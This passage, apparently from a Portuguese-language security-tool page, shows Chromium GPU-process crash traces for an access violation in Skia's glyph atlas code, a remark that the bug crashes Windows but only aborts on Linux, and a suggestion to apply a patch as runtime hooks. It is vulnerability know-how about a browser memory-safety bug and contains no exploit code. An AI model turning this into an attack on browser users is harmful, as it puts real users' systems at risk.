#13 0x5ee6ad48060e skgpu::ganesh::AtlasTextOp::onPrepareDraws()::$_0::operator()() [../../third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp:532:28]
#14 0x5ee6ad4805ba std::__Cr::__invoke<>() [gen/third_party/libc++/src/include/__type_traits/invoke.h:90:27]
#15 0x5ee6ad48055d std::__Cr::__invoke_void_return_wrapper<>::__call<>() [gen/third_party/libc++/src/include/__type_traits/invoke.h:342:12]
#16 0x5ee6ad48050d std::__Cr::__invoke_r<>() [gen/third_party/libc++/src/include/__type_traits/invoke.h:356:10]
#17 0x5ee6ad4804a3 std::__Cr::__function::__policy_func<>::__call_func<>() [gen/third_party/libc++/src/include/__functional/function.h:443:12]
#18 0x5ee6ad5ddc1b std::__Cr::__function::__policy_func<>::operator()() [gen/third_party/libc++/src/include/__functional/function.h:502:12]
#19 0x5ee6ad5ddbbb std::__Cr::function<>::operator()() [gen/third_party/libc++/src/include/__functional/function.h:754:10]
#20 0x5ee6ad5d6c08 (anonymous namespace)::DirectMaskSubRun::regenerateAtlas() [../../third_party/skia/src/text/gpu/SubRunContainer.cpp:672:16]
#21 0x5ee6ad47f60d skgpu::ganesh::AtlasTextOp::onPrepareDraws() [../../third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp:538:50]
#22 0x5ee6ad4b6129 GrMeshDrawOp::onPrepare() [../../third_party/skia/src/gpu/ganesh/ops/GrMeshDrawOp.cpp:27:61]
#23 0x5ee6ad4b7234 GrOp::prepare() [../../third_party/skia/src/gpu/ganesh/ops/GrOp.cpp:59:11]
#24 0x5ee6ad4d43a3 skgpu::ganesh::OpsTask::onPrepare() [../../third_party/skia/src/gpu/ganesh/ops/OpsTask.cpp:548:27]
#25 0x5ee6ad37e5dd GrRenderTask::prepare() [../../third_party/skia/src/gpu/ganesh/GrRenderTask.cpp:111:11]
#26 0x5ee6ad320e43 GrDrawingManager::executeRenderTasks() [../../third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:266:21]
#27 0x5ee6ad31fca0 GrDrawingManager::flush() [../../third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:209:34]
#28 0x5ee6ad3217f7 GrDrawingManager::flushSurfaces() [../../third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:540:27]
#29 0x5ee6ad31c252 GrDirectContextPriv::flushSurfaces() [../../third_party/skia/src/gpu/ganesh/GrDirectContextPriv.cpp:92:47]
#30 0x5ee6ad2da828 GrDirectContextPriv::flushSurface() [../../third_party/skia/src/gpu/ganesh/GrDirectContextPriv.h:106:22]
#31 0x5ee6ad2d5d2b GrDirectContext::flush() [../../third_party/skia/src/gpu/ganesh/GrDirectContext.cpp:520:25]
#32 0x5ee6ad52d6be skgpu::ganesh::Flush() [../../third_party/skia/src/gpu/ganesh/surface/SkSurface_Ganesh.cpp:759:45]
#33 0x5ee6b2de1d86 gpu::SharedContextState::FlushWriteAccess() [../../gpu/command_buffer/service/shared_context_state.cc:899:9]
#34 0x5ee6b2fc974d gpu::raster::RasterDecoderImpl::DoEndRasterCHROMIUM() [../../gpu/command_buffer/service/raster_decoder.cc:3108:30]
#35 0x5ee6b2fc720c gpu::raster::RasterDecoderImpl::HandleEndRasterCHROMIUM() [../../gpu/command_buffer/service/raster_decoder_autogen.h:151:3]
#36 0x5ee6b2fdbda0 gpu::raster::RasterDecoderImpl::DoCommandsImpl<>() [../../gpu/command_buffer/service/raster_decoder.cc:1535:18]
#37 0x5ee6b2fcb03e gpu::raster::RasterDecoderImpl::DoCommands() [../../gpu/command_buffer/service/raster_decoder.cc:1597:12]
#38 0x5ee69ff67c00 gpu::CommandBufferService::Flush() [../../gpu/command_buffer/service/command_buffer_service.cc:267:35]
#39 0x5ee6b294071f gpu::CommandBufferStub::OnAsyncFlush() [../../gpu/ipc/service/command_buffer_stub.cc:504:22]
#40 0x5ee6b29401ed gpu::CommandBufferStub::ExecuteDeferredRequest() [../../gpu/ipc/service/command_buffer_stub.cc:173:7]
#41 0x5ee6b295fe51 gpu::GpuChannel::ExecuteDeferredRequest() [../../gpu/ipc/service/gpu_channel.cc:833:13]
#42 0x5ee6b296c5a0 base::internal::DecayedFunctorTraits<>::Invoke<>() [../../base/functional/bind_internal.h:740:12]
#43 0x5ee6b296c4cf base::internal::InvokeHelper<>::MakeItSo<>() [../../base/functional/bind_internal.h:956:5]
#44 0x5ee6b296c425 base::internal::Invoker<>::RunImpl<>() [../../base/functional/bind_internal.h:1069:14]
#45 0x5ee6b296c361 base::internal::Invoker<>::RunOnce() [../../base/functional/bind_internal.h:982:12]
#46 0x5ee69ffa4e24 base::OnceCallback<>::Run() [../../base/functional/callback.h:155:12]
#47 0x5ee69ffa4cb5 base::internal::DecayedFunctorTraits<>::Invoke<>() [../../base/functional/bind_internal.h:815:49]
#48 0x5ee69ffa4c4f base::internal::InvokeHelper<>::MakeItSo<>() [../../base/functional/bind_internal.h:932:12]
#49 0x5ee69ffa4bfd base::internal::Invoker<>::RunImpl<>() [../../base/functional/bind_internal.h:1069:14]
#50 0x5ee69ffa4b99 base::internal::Invoker<>::RunOnce() [../../base/functional/bind_internal.h:982:12]
#51 0x5ee695d021ec base::OnceCallback<>::Run() [../../base/functional/callback.h:155:12]
#52 0x5ee69ff767e0 gpu::Scheduler::ExecuteSequence() [../../gpu/command_buffer/service/scheduler.cc:707:29]
#53 0x5ee69ff7540b gpu::Scheduler::RunNextTask() [../../gpu/command_buffer/service/scheduler.cc:625:3]
#54 0x5ee69ff7b253 base::internal::DecayedFunctorTraits<>::Invoke<>() [../../base/functional/bind_internal.h:740:12]
#55 0x5ee69ff7b1d1 base::internal::InvokeHelper<>::MakeItSo<>() [../../base/functional/bind_internal.h:932:12]
#56 0x5ee69ff7b15d base::internal::Invoker<>::RunImpl<>() [../../base/functional/bind_internal.h:1069:14]
#57 0x5ee69ff7b0e9 base::internal::Invoker<>::RunOnce() [../../base/functional/bind_internal.h:982:12]
#58 0x5ee695d021ec base::OnceCallback<>::Run() [../../base/functional/callback.h:155:12]
#59 0x5ee6abab2eee base::TaskAnnotator::RunTaskImpl() [../../base/task/common/task_annotator.cc:229:34]
#60 0x5ee6abb214c8 base::TaskAnnotator::RunTask<>() [../../base/task/common/task_annotator.h:112:5]
#61 0x5ee6abb20f5e base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl() [../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:472:23]
#62 0x5ee6abb205ca base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40]
#63 0x5ee6abb21193 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()
#64 0x5ee6ab98e268 base::MessagePumpDefault::Run() [../../base/message_loop/message_pump_default.cc:42:55]
#65 0x5ee6abb21b67 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run() [../../base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:647:12]
#66 0x5ee6aba4a7bb base::RunLoop::Run() [../../base/run_loop.cc:135:14]
#67 0x5ee6b4863046 content::GpuMain() [../../content/gpu/gpu_main.cc:479:14]
#68 0x5ee6a828dff7 content::RunZygote() [../../content/app/content_main_runner_impl.cc:664:14]
#69 0x5ee6a828e879 content::RunOtherNamedProcessTypeMain() [../../content/app/content_main_runner_impl.cc:771:12]
#70 0x5ee6a828fe8b content::ContentMainRunnerImpl::Run() [../../content/app/content_main_runner_impl.cc:1147:10]
#71 0x5ee6a828c1d7 content::RunContentProcess() [../../content/app/content_main.cc:358:36]
#72 0x5ee6a828c6e6 content::ContentMain() [../../content/app/content_main.cc:371:10]
#73 0x5ee69540c460 ChromeMain [../../chrome/app/chrome_main.cc:191:12]
#74 0x5ee69540c112 main
#75 0x79f1d4a2a1ca (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
#76 0x79f1d4a2a28b __libc_start_main
#77 0x5ee69540c02a _start
  r8: 000000000000005d  r9: 0000000000000000 r10: 0000000000000008 r11: 0000000000000246
 r12: 0000000000000006 r13: 0000000000000000 r14: 0000000000000016 r15: 000079f1d5aa2000
  di: 0000000000177a3a  si: 0000000000177a3a  bp: 00007ffc58951cb0  bx: 0000000000177a3a
  dx: 0000000000000006  ax: 0000000000000000  cx: 000079f1d4a9eb2c  sp: 00007ffc58951c70
  ip: 000079f1d4a9eb2c efl: 0000000000000246 cgf: 002b000000000033 erf: 0000000000000000
 trp: 0000000000000000 msk: 0000000000000000 cr2: 0000000000000000

Crash

Isto só pode ser travado no Windows. No Linux, devido ao mecanismo de endurecimento do libc++, causará apenas um abort.``` Received fatal exception EXCEPTION_ACCESS_VIOLATION chrome!GrDrawOpAtlas::setLastUseToken [0x7fff681452d7+117] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDrawOpAtlas.h:150) chrome!GrAtlasManager::addGlyphToBulkAndSetUseToken [0x7fff68146702+d2] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp:259) chrome!sktext::gpu::GlyphVector::regenerateAtlasForGanesh [0x7fff68146cc4+334] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/text/GrAtlasManager.cpp:315) chrome!std::__Cr::__function::__policy_func<std::__Cr::tuple<bool,int> (sktext::gpu::GlyphVector *, int, int, skgpu::MaskFormat, int)>::__call_func<lambda at ..\..\third_party\skia\src\gpu\ganesh\ops\AtlasTextOp.cpp:527:35'> [0x7fff69ba5f2e+3e] (/home/xxxxxx/*****/google/chrome/chromium/src/third_party/libc++/src/include/__functional/function.h:444) chrome!anonymous namespace'::DirectMaskSubRun::regenerateAtlas [0x7fff663a6b64+44] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/text/gpu/SubRunContainer.cpp:674) chrome!skgpu::ganesh::AtlasTextOp::onPrepareDraws [0x7fff69ba5340+690] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/ops/AtlasTextOp.cpp:541) chrome!GrOp::prepare [0x7fff6b57450e+11e] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/ops/GrOp.cpp:60) chrome!skgpu::ganesh::OpsTask::onPrepare [0x7fff69baf42c+37c] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/ops/OpsTask.cpp:549) chrome!GrRenderTask::prepare [0x7fff69ba1b97+67] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrRenderTask.cpp:111) chrome!GrDrawingManager::executeRenderTasks [0x7fff6813f387+67] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:266) chrome!GrDrawingManager::flush [0x7fff6813ed2c+88c] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:208) chrome!GrDrawingManager::flushSurfaces [0x7fff6813f798+b8] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDrawingManager.cpp:540) chrome!GrDirectContextPriv::flushSurfaces [0x7fff6815020d+1ad] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDirectContextPriv.cpp:92) chrome!GrDirectContext::flush [0x7fff663df260+a0] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/GrDirectContext.cpp:520) chrome!skgpu::ganesh::Flush [0x7fff6812f190+40] (/home/xxxxxx//google/chrome/chromium/src/third_party/skia/src/gpu/ganesh/surface/SkSurface_Ganesh.cpp:759) chrome!gpu::SharedContextState::FlushWriteAccess [0x7fff669b24f1+d1] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/shared_context_state.cc:896) chrome!gpu::raster::RasterDecoderImpl::DoEndRasterCHROMIUM [0x7fff6ba14238+e8] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/raster_decoder.cc:3112) chrome!gpu::raster::RasterDecoderImpl::HandleEndRasterCHROMIUM [0x7fff6ba128e9+9] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/raster_decoder_autogen.h:152) chrome!gpu::raster::RasterDecoderImpl::DoCommandsImpl<0> [0x7fff6ba1584e+10e] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/raster_decoder.cc:1535) chrome!gpu::CommandBufferService::Flush [0x7fff60f5533d+1ed] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/command_buffer_service.cc:267) chrome!gpu::CommandBufferStub::OnAsyncFlush [0x7fff669bbc85+155] (/home/xxxxxx//google/chrome/chromium/src/gpu/ipc/service/command_buffer_stub.cc:505) chrome!gpu::CommandBufferStub::ExecuteDeferredRequest [0x7fff669bb6f7+167] (/home/xxxxxx//google/chrome/chromium/src/gpu/ipc/service/command_buffer_stub.cc:173) chrome!gpu::GpuChannel::ExecuteDeferredRequest [0x7fff68773fe4+114] (/home/xxxxxx//google/chrome/chromium/src/gpu/ipc/service/gpu_channel.cc:836) chrome!base::internal::Invoker<base::internal::FunctorTraits<void (optimization_guide::HintsManager::*&&)(base::OnceCallback<void ()>, const optimization_guide::proto::Hint *) const,base::WeakPtr<optimization_guide::HintsManager> &&,base::OnceCallback<void ()> & [0x7fff62ab2ce5+75] (/home/xxxxxx//google/chrome/chromium/src/base/functional/bind_internal.h:982) chrome!base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (gpu::FenceSyncReleaseDelegate *)> &&,gpu::FenceSyncReleaseDelegate *>,base::internal::BindState<0,1,1,base::OnceCallback<void (gpu::FenceSyncReleaseDelegate *)>,base::internal: [0x7fff60f69a8c+5c] (/home/xxxxxx//google/chrome/chromium/src/base/functional/bind_internal.h:982) chrome!gpu::Scheduler::ExecuteSequence [0x7fff60f5bba3+363] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/scheduler.cc:707) chrome!gpu::Scheduler::RunNextTask [0x7fff60f5b123+133] (/home/xxxxxx//google/chrome/chromium/src/gpu/command_buffer/service/scheduler.cc:629) chrome!base::TaskAnnotator::RunTaskImpl [0x7fff661316ac+20c] (/home/xxxxxx//google/chrome/chromium/src/base/task/common/task_annotator.cc:229) chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl [0x7fff67f84681+461] (/home/xxxxxx//google/chrome/chromium/src/base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:472) chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork [0x7fff67f84074+b4] (/home/xxxxxx//google/chrome/chromium/src/base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:348) chrome!base::MessagePumpDefault::Run [0x7fff67f9b42b+fb] (/home/xxxxxx//google/chrome/chromium/src/base/message_loop/message_pump_default.cc:43) chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run [0x7fff67f84f68+188] (/home/xxxxxx//google/chrome/chromium/src/base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:647) chrome!base::RunLoop::Run [0x7fff66154c5e+1fe] (/home/xxxxxx//google/chrome/chromium/src/base/run_loop.cc:137) chrome!content::GpuMain [0x7fff674095e8+6a8] (/home/xxxxxx//google/chrome/chromium/src/content/gpu/gpu_main.cc:480) chrome!content::RunOtherNamedProcessTypeMain [0x7fff64f1484f+2cf] (/home/xxxxxx//google/chrome/chromium/src/content/app/content_main_runner_impl.cc:762) chrome!content::ContentMainRunnerImpl::Run [0x7fff64f157a2+312] (/home/xxxxxx//google/chrome/chromium/src/content/app/content_main_runner_impl.cc:1147) chrome!content::RunContentProcess [0x7fff64f1066b+59b] (/home/xxxxxx//google/chrome/chromium/src/content/app/content_main.cc:358) chrome!content::ContentMain [0x7fff64f108b8+88] (/home/xxxxxx//google/chrome/chromium/src/content/app/content_main.cc:371) chrome!ChromeMain [0x7fff5fc612d9+2a9] (/home/xxxxxx//google/chrome/chromium/src/chrome/app/chrome_main.cc:191) chrome!MainDllLoader::Launch [0x7ff6d40c23b6+3a6] (/home/xxxxxx//google/chrome/chromium/src/chrome/app/main_dll_loader_win.cc:204) chrome!wWinMain [0x7ff6d40c16f5+6d5] (/home/xxxxxx//google/chrome/chromium/src/chrome/app/chrome_exe_main_win.cc:351) chrome!__scrt_common_main_seh [0x7ff6d42b52b2+106] (D:\a_work\1\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288) KERNEL32!BaseThreadInitThunk [0x7fffe26d7374+14] ntdll!RtlUserThreadStart [0x7fffe389cc91+21]

root@kitploit:~
## Abordagem de Versão Estável
Na versão estável do Chromium, aplicar patches diretamente pode não ser viável ou desejável.
Em vez disso, você pode reescrever a lógica do patch como funções de hook para interceptar e modificar as funções de processamento relevantes em tempo de execução.
Baixar ferramenta